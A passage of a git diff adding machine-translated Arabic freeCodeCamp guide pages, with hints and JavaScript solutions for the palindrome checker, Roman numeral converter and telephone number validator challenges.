+*   [شبيبة تقليل سهلة](http://forum.freecodecamp.com/t/using-array-prototype-reduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/14687)
+*   [شبيبة الحلقات](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [JS Array Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md
new file mode 100644
index 0000000000..c58e7d469d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Javascript Algorithms and Data Structures Projects
+localeTitle: خوارزميات جافا سكريبت ومشاريع هياكل البيانات
+---
+## خوارزميات جافا سكريبت ومشاريع هياكل البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md
new file mode 100644
index 0000000000..45c6c57e5d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md
@@ -0,0 +1,158 @@
+---
+title: Palindrome Checker
+localeTitle: Palindrome المدقق
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ca86619bb0ec05531dbb02be3c0b7b8383e67f01.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+هدفنا لحل هذه المشكلة هو ترتيب السلسلة التي يتم تمريرها والتحقق مما إذا كانت في الواقع متناظرة.
+
+*   إذا لم تكن متأكداً مما هو متناظر ، فكلمة أو عبارة هي عندما تنقض تعويذ نفس الشيء للأمام أو للخلف. مثال بسيط هو `mom` ، عند عكس الحروف ، فإنها تنطق نفس الشيء! مثال آخر لالمتطابق هو `race car` . عندما نأخذ أي شيء ليس حرفًا ، يصبح `racecar` هو نفس الهجاء للأمام أو إلى الوراء!
+
+بمجرد أن نحدد ما إذا كانت متناظرة أو لا نريد إرجاعها إما `true` أو `false` استنادًا إلى النتائج التي توصلنا إليها.
+
+#### روابط ذات صلة
+
+*   [String.prototype.replace](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [String.prototype.toLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+يمكن استخدام التعبيرات العادية ، `RegEx` ، لإزالة الأحرف غير المرغوب فيها من السلسلة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+و `Array.prototype.split` و `Array.prototype.join` الأساليب يمكن أن تكون ذات فائدة هنا. `For` `while` الحلقات هي بديل آخر ، أو لماذا لا حتى `map` !
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+يمكن استخدام `String.prototype.toLowerCase` لإنشاء سلسلة صغيرة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function palindrome(str) { 
+      return str.replace(/[\W_]/g, '').toLowerCase() === 
+             str.replace(/[\W_]/g, '').toLowerCase().split('').reverse().join(''); 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/2)
+
+### شرح الشفرة:
+
+*   نبدأ باستخدام التعبيرات العادية لاستبدال أي مساحة بيضاء أو أحرف غير أبجدية رقمية بدون أي شيء (أو `null` ) ، والتي تزيلها بشكل أساسي من السلسلة.
+    
+*   نحن المقبل _سلسلة ل_ `.toLowerCase()` لإزالة أي حروف ل `A` هو حرف مختلفة من `a` . لم تطالبنا المشكلة بالقلق من التأكد من أن حالة الأحرف متطابقة ، فقط التهجئة.
+    
+*   خطوتنا التالية هي أن نأخذ السلسلة و `.split()` ، `.reverse()` و ، وأخيرا `.join()` مرة أخرى معا.
+    
+*   الخطوة الأخيرة هي التحقق من أن السلسلة هي نفسها إلى الأمام والخلف وإرجاع النتيجة!
+    
+
+#### روابط ذات صلة
+
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.prototype.reverse](http://forum.freecodecamp.com/t/javascript-array-prototype-reverse/14300)
+*   [Array.prototype.join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    function palindrome(str) { 
+      str = str.toLowerCase().replace(/[\W_]/g, ''); 
+      for(var i = 0, len = str.length - 1; i < len/2; i++) { 
+        if(str[i] !== str[len-i]) { 
+          return false; 
+        } 
+      } 
+      return true; 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/3)
+
+### شرح الشفرة:
+
+*   نبدأ باستخدام نفس الأساليب لاستبدال الحروف التي لا نريدها في السلسلة باستخدام تعبيرات `RegEx` العادية ، ثم جعل السلسلة الخاصة بنا صغيرة.
+    
+*   بعد ذلك قمنا بإعداد حلقة `for` ونعلن عن فهرس `i` لتتبع الحلقة. وضعناها لدينا تسلسل هروب إلى عندما `i` أكبر من طول السلسلة مقسوما على اثنين، الذي يحكي حلقة لوقف بعد منتصف الطريق من السلسلة. وأخيرًا ، `i` على الزيادة بعد كل حلقة.
+    
+*   داخل كل حلقة نريد التحقق من أن الحرف في العنصر `[i]` يساوي الحرف في طول السلسلة ناقص i ، `[str.length - i]` . في كل حلقة ، يتحرك العنصر الذي يتم فحصه على جانبي السلسلة بالقرب من المركز حتى نتحقق من جميع الأحرف. إذا لم تتطابق الحروف في أي لحظة ، فإننا نرجع `false` . إذا اكتملت الحلقة بنجاح ، فهذا يعني أن لدينا متناظرًا ، وبالتالي نعود إلى `true` !
+    
+
+#### روابط ذات صلة
+
+*   رجإكس
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود (الأكثر أداء):
+
+ `    //this solution performs at minimum 7x better, at maximum infinitely better. 
+    //read the explanation for the reason why. I just failed this in an interview. 
+    function palindrome(str) { 
+      //assign a front and a back pointer 
+      let front = 0 
+      let back = str.length - 1 
+ 
+      //back and front pointers won't always meet in the middle, so use (back > front) 
+      while (back > front) { 
+        //increments front pointer if current character doesn't meet criteria 
+        if ( str[front].match(/[\W_]/) ) { 
+          front++ 
+          continue 
+        } 
+        //decrements back pointer if current character doesn't meet criteria 
+        if ( str[back].match(/[\W_]/) ) { 
+          back-- 
+          continue 
+        } 
+        //finally does the comparison on the current character 
+        if ( str[front].toLowerCase() !== str[back].toLowerCase() ) return false 
+        front++ 
+        back-- 
+      } 
+ 
+      //if the whole string has been compared without returning false, it's a palindrome! 
+      return true 
+ 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/4)
+
+### شرح الشفرة:
+
+*   أعطيت هذه المشكلة في مقابلة (المفسد: لم أكن قد استأجرت ![:frowning:](https://forum.freecodecamp.com/images/emoji/emoji_one/frowning.png?v=3 ":عابس:") ) سرعان ما وصلت إلى الحل الأساسي ، وأخبرني القائم بالمقابلة أن أجعله أفضل. سيستغرق الأمر خوارزمية طويلة للغاية إذا اجتاز الكتاب المقدس كسلسلة. كان يريد أن يكون لحظة.
+    
+*   تعمل الحلول البسيطة بشكل سيء جدًا على السلاسل الطويلة لأنها تعمل على السلسلة بأكملها عدة مرات (toLowerCase () ، الاستبدال () ، split () ، reverse () ، join ()) قبل مقارنة السلسلة **بأكملها** مرتين.
+    
+*   جمال هذا الحل هو أنه لا **يحتاج** أبدا إلى قراءة السلسلة بأكملها ، ولو مرة واحدة ، لمعرفة أنها ليست متناظرة. لماذا تقرأ السلسلة الكاملة إذا كنت تستطيع أن تقول أنها ليست مجرد متناظرة بمجرد النظر إلى خطابين؟
+    
+*   يستخدم حلقة while بدلاً من حلقة for كأفضل ممارسة - لأننا نستخدم متغيرين ، أحدهما يبدأ من بداية السلسلة ، ويبدأ الآخر في نهاية السلسلة.
+    
+
+#### روابط ذات صلة
+
+*   [التعقيد Cyclomatic](https://en.wikipedia.org/wiki/Cyclomatic_complexity)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md
new file mode 100644
index 0000000000..c95194db96
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md
@@ -0,0 +1,216 @@
+---
+title: Roman Numeral Converter
+localeTitle: تحويل الأرقام الرومانية
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+ستقوم بإنشاء برنامج يقوم بتحويل عدد صحيح إلى عدد روماني.
+
+#### روابط ذات صلة
+
+*   [الأرقام الرومانية](http://www.mathsisfun.com/roman-numerals.html)
+*   [Array.splice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-splice/14307)
+*   [Array.indexOf ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+*   [Array.join ()](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+إنشاء صفيفين ، واحد مع الأرقام الرومانية والآخر مع ما يعادل العشري للأشكال الجديدة سيكون مفيدا للغاية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+إذا قمت بإضافة الأرقام إلى الصفائف التي تمر قبل تقديم الحرف الجديد ، مثل القيم لـ 4 و 9 و 40 ، فسيوفر لك الكثير من التعليمات البرمجية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+لا يمكنك الحصول على أكثر من ثلاثة أرقام رومانية متتالية معًا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `var convertToRoman = function(num) { 
+ 
+  var decimalValue = [ 1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1 ]; 
+  var romanNumeral = [ 'M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I' ]; 
+ 
+  var romanized = ''; 
+ 
+  for (var index = 0; index < decimalValue.length; index++) { 
+    while (decimalValue[index] <= num) { 
+      romanized += romanNumeral[index]; 
+      num -= decimalValue[index]; 
+    } 
+  } 
+ 
+  return romanized; 
+ } 
+ 
+ // test here 
+ convertToRoman(36); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmf/0)
+
+### شرح الشفرة:
+
+*   نبدأ من خلال إنشاء صفيفين مع التحويل الافتراضي مع مؤشرات مطابقة. هذه تسمى `decimalValue` و `romanNumeral` . نحن أيضا إنشاء متغير سلسلة فارغة ، `romanized` ، والتي سوف تستضيف الرقم الروماني النهائي.
+*   باستخدام حلقة for ، نقوم بالمرور من خلال `decimalValue` صفيف `decimalValue` . نستمر في التكرار حتى يتم احتواء القيمة الموجودة في `index` الحالي على `num` .
+*   بعد ذلك، أضفنا رومانية وانخفاض `num` بما يعادل عشري.
+*   وأخيرًا ، نعيد قيمة `romanized` .
+
+#### روابط ذات صلة
+
+*   [للحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   في حين الحلقات
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function convertToRoman(num) { 
+ var romans = ["I", "V", "X", "L", "C", "D", "M"], 
+     ints = [], 
+     romanNumber = [], 
+     numeral = ""; 
+  while (num) { 
+    ints.push(num % 10); 
+    num = Math.floor(num/10); 
+  } 
+  for (i=0; i<ints.length; i++){ 
+      units(ints[i]); 
+  } 
+  function units(){ 
+    numeral = romans[i*2]; 
+    switch(ints[i]) { 
+      case 1: 
+        romanNumber.push(numeral); 
+        break; 
+      case 2: 
+        romanNumber.push(numeral.concat(numeral)); 
+        break; 
+      case 3: 
+        romanNumber.push(numeral.concat(numeral).concat(numeral)); 
+        break; 
+      case 4: 
+        romanNumber.push(numeral.concat(romans[(i*2)+1])); 
+        break; 
+      case 5: 
+        romanNumber.push(romans[(i*2)+1]); 
+        break; 
+      case 6: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral)); 
+        break; 
+      case 7: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral).concat(numeral)); 
+        break; 
+      case 8: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral).concat(numeral).concat(numeral)); 
+        break; 
+      case 9: 
+        romanNumber.push(romans[i*2].concat(romans[(i*2)+2])); 
+      } 
+    } 
+  return romanNumber.reverse().join("").toString(); 
+ } 
+ 
+ // test here 
+ convertToRoman(97); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/C1YV)
+
+### شرح الشفرة:
+
+*   إنشاء مجموعة من الأرقام الرومانية ( `romans` ).
+*   استخدم حلقة for لإنشاء صفيف من الأرقام ( `ints` ) في الرقم.
+*   قم بالالتفاف عبر صفيف الأرقام (القاعدة 10) وكما تفعل ، قم بزيادة الرقم الروماني (الأساس 5) بمقدار 2 ( `numeral = romans[i*2]` ).
+*   داخل الحلقة ، استخدم Switch Case لضغط الأرقام الرومانية الصحيحة (إلى الخلف) على هذا الصفيف.
+*   عكس مجموعة الأرقام الرومانية وتحويلها إلى سلسلة.
+
+#### روابط ذات صلة
+
+*   [للحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   في حين الحلقات
+*   [الرياضيات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function convertToRoman(num) { 
+  var romans = 
+  // 10^i 10^i*5 
+    ["I", "V"], // 10^0 
+    ["X", "L"], // 10^1 
+    ["C", "D"], // 10^2 
+    ["M"]       // 10^3 
+  ], 
+      digits = num.toString() 
+        .split('') 
+        .reverse() 
+        .map(function(item, index) { 
+          return parseInt(item); 
+        }), 
+      numeral = ""; 
+ 
+  // Loop through each digit, starting with the ones place 
+  for (var i=0; i<digits.length; i++) { 
+    // Make a Roman numeral that ignores 5-multiples and shortening rules 
+    numeral = romans[i][0].repeat(digits[i]) + numeral; 
+    // Check for a Roman numeral 5-multiple version 
+    if (romans[i][1]) { 
+      numeral = numeral 
+        // Change occurrences of 5 * 10^i to the corresponding 5-multiple Roman numeral 
+        .replace(romans[i][0].repeat(5), romans[i][1]) 
+        // Shorten occurrences of 9 * 10^i 
+        .replace(romans[i][1] + romans[i][0].repeat(4), romans[i][0] + romans[i+1][0]) 
+        // Shorten occurrences of 4 * 10^i 
+        .replace(romans[i][0].repeat(4), romans[i][0] + romans[i][1]); 
+    } 
+  } 
+ 
+  return numeral; 
+ } 
+ 
+ // test here 
+ convertToRoman(36); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/C1YV)
+
+### شرح الشفرة:
+
+*   استخدم مصفوفة ( `romans` ) لإنشاء مصفوفة تحتوي على الأرقام الرومانية لقوة معينة من 10 ، وإذا أمكن ، فإن الرقم الروماني لهذه القوة من 10 مرات 5.
+*   قم بتحويل رقم الإدخال ( `num` ) إلى مصفوفة عكسية من الأرقام ( `digits` ) حتى يتسنى لنا إجراء التكرار خلال هذه الأرقام بدءًا من الموضع والصعود.
+*   قم بالالتفاف من خلال كل رقم ، بدءاً بالمكان ، وإنشاء سلسلة أرقام رومانية بإضافة كل عدد روماني ذو طاقة أعلى إلى بداية سلسلة `numeral` عددًا من المرات يساوي `digit` . يتجاهل هذا السطر الأولي الأرقام الرومانية التي هي قوة 10 مرات 5 ويتجاهل أيضًا قواعد تقصير.
+*   إذا كانت القدرة ذات الصلة 10 تحتوي على عدد روماني 5-متعددة ، بأرقام ، `numeral` 5-في-صف مع الأرقام الرومانية 5-متعددة ذات الصلة (أي V ، L ، أو D) وتقصير حدوث 9 \* 10 ^ i (على سبيل المثال ، VIIII إلى VIX) و 4 \* 10 ^ i (على سبيل المثال ، XXXX إلى XL). النظام مهم هنا!
+*   وأخيرا ، عودة `numeral` .
+
+#### روابط ذات صلة
+
+*   [للحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [.انشق، مزق()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [.عكس()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
+*   [.خريطة()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [.إلى سلسلة()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString)
+*   [parseInt ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt)
+*   [.يحل محل()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+*   [.كرر()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md
new file mode 100644
index 0000000000..95ca8523e0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md
@@ -0,0 +1,96 @@
+---
+title: Telephone Number Validator
+localeTitle: مدقق رقم الهاتف
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+المهمة ليست صعبة الفهم ، وتنفيذها هو الجزء الأصعب. لديك للتحقق من صحة رقم هاتف في الولايات المتحدة. هذا يعني أن هناك كمية معينة من الأرقام المطلوبة ، بينما لا تحتاج إلى وضع رمز البلد ، ستظل بحاجة إلى رمز المنطقة واستخدام أحد التنسيقات القليلة المسموح بها.
+
+#### روابط ذات صلة
+
+*   [التعبير العادي](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)
+*   [regexpal.com](http://regexpal.com/)
+*   [regex101.com/](https://regex101.com/#javascript)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+لا توجد طريقة حول ذلك ، سوف تحتاج إلى فرشاة مهارات التعبيرات العادية الخاصة بك.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+حاول استخدام موقع من القائمة السابقة لاختبار التعبير المعتاد أثناء قيامك بإنشائه.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+ابدأ بمحاولة الحصول عليها للتحقق من صحة كل تنسيق من المثال ، كل سطر يجب أن يأخذ سطرًا جديدًا ، بمجرد تحديدهم جميعًا ، ثم إضافة أمثلة لا يجب تحديدها والتأكد من عدم تحديدها.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function telephoneCheck(str) { 
+   var regex = /^(1\s?)?(\(\d{3}\)|\d{3})[\s\-]?\d{3}[\s\-]?\d{4}$/; 
+   return regex.test(str); 
+ } 
+ telephoneCheck("555-555-5555"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLo9/0)
+
+### شرح الشفرة:
+
+*   `^` يدل على بداية السلسلة.
+*   `(1\s?)?` يسمح "1" أو "1" إذا كان هناك واحد.
+*   `\d{n}` يتحقق من عدد n من الأرقام بالضبط ، لذلك يتحقق `\d{3}` ثلاثة أرقام.
+*   `x|y` بالتحقق إما x OR y لذا `(\(\d{3}\)|\d{3})` يتحقق من ثلاثة أرقام محاطة بأقواس أو ثلاثة أرقام من تلقاء نفسها بدون أقواس.
+*   `[\s\-]?` يتحقق من المساحات أو الشرطات بين مجموعات الأرقام.
+*   `$` يدل على نهاية السلسلة. في هذه الحالة ، يتم استخدام بداية `^` ونهاية السلسلة `$` في التعبير العادي لمنعه من مطابقة أي سلسلة أطول قد تحتوي على رقم هاتف صالح (على سبيل المثال. "s 555 555 5555 3").
+*   وأخيرًا ، نستخدم `regex.test(str)` لاختبار ما إذا كانت السلسلة تلتزم بالتعبير العادي أم أنها ترجع إلى `true` أو `false` .
+
+#### روابط ذات صلة
+
+*   [Regex.test ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+    
+*   [دليل التعبير العادي](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+    
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function telephoneCheck(str) { 
+  var re = /^(?:(?:\+?1\s*(?:[.-]\s*)?)?(?:\(\s*([2-9]1[02-9]|[2-9][02-8]1|[2-9][02-8][02-9])\s*\)|([2-9]1[02-9]|[2-9][02-8]1|[2-9][02-8][02-9]))\s*(?:[.-]\s*)?)?([2-9]1[02-9]|[2-9][02-9]1|[2-9][02-9]{2})\s*(?:[.-]\s*)?([0-9]{4})$/; 
